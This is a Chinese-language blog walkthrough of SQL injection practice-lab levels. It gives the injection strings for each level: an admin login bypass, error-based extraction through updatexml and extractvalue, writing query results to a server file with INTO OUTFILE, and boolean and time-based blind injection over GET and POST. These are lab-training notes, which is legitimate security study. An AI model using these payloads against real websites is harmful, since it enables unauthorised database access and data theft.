sql靶场题解
1 | ?username=admin'--+&password=admin' |
sql注入五-报错注入
此处使用updatexml()
1 | ?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+ |
或者用extractvalue()
1 | ?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+ |
查询表o
1 | ?id=1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e)) --+ |
1 | ?id=1' and extractvalue(1,concat(0x7e,(select id from database.table_name),0x7e)) --+ |
sql注入六-报错注入
与第五问查询语句完全相同,只有闭合方式不同,改为双引号即可。
sql注入七-文件写入
首先判断闭合方式,采用单引号发现不行,单引号加上注释仍然不行,说明一定有括号,我们尝试括号个数,得到括号为两个时能够闭合。
因为我们显示报错注入发现没有回显,它提示我们采用myqsl中的outfile函数写入文件
1 | ?id=-1')) union select 1,(select database()),3 into outfile '路径' --+ |
即可将查询结果写入!
sql注入八-布尔盲注
首先我们来判断闭合方式,输入单引号再注释,加入order by 发现能执行,说明将前面的单引号成功闭合,才能让语句执行。
然后来注入语句
1 | ?id=1' and length(database())>5 --+ |
sql注入九-时间盲注
对于此关我们还无法判断闭合方式,因为单引号双引号注释后都能显示you are in哪怕用布尔盲注都没有显示,所以我们要采用时间盲注,有回显之后再测试闭合方式。
1 | ?id=1' and if(length(database())>5,sleep(3),1) --+ |
用了if语句来判断,即可通过回显时间爆出数据。
此时判断闭合方式,如果改为双引号,我们发现两种条件都是瞬间返回,说明条件语句没有执行!所以闭合方式为单引号。
1 | ?id=1' and if(ascii(substr((select database()),1,1))>110,sleep(3),1) --+ |
将布尔盲注的语句套上if即可。
sql注入十-时间盲注
只需要改为双引号闭合即可!
sql注入十一-POST注入
我们首先输入用户名密码随便输,然后load url
我们可以看闭合方式应该为单引号闭合,我们单引号之后加上注释符号即可。
1 | passwd=admin' union select 1,database()#&submit=Submit&uname=admin |
后面即可随意查询!
sql注入十二-POST注入
比上一问只是多了一个闭合难度
1 | passwd=admin")order by 3#&submit=Submit&uname=admin |
括起来闭合就可以了。其余都相同!
sql注入十三-POST报错注入
可以看到我们输入一个单引号,后面出来一个单引号一个括号,说明是单引号和括号闭合。
1 | admin') order by 3# |
即可回显。
但是我们输入正确是没有回显,尝试报错注入
1 | admin') and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+ |
成功回显!
可以查询一下用户名比如:
1 | passwd=admin')and updatexml(1,concat(0x7e,(select user()),0x7e),1)#&submit=Submit&uname=admin |
sql注入十四-报错注入
只是改变了闭合方式,为双引号,其余和前面相同!
sql注入十五-POST时间盲注
我们在判断回显的时候,发现什么回显都没有,艹,直接选择时间盲注
1 | admim'and if(length(database())>5,sleep(5),1)# |
接下来用substr()函数等进行爆库。
All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Comment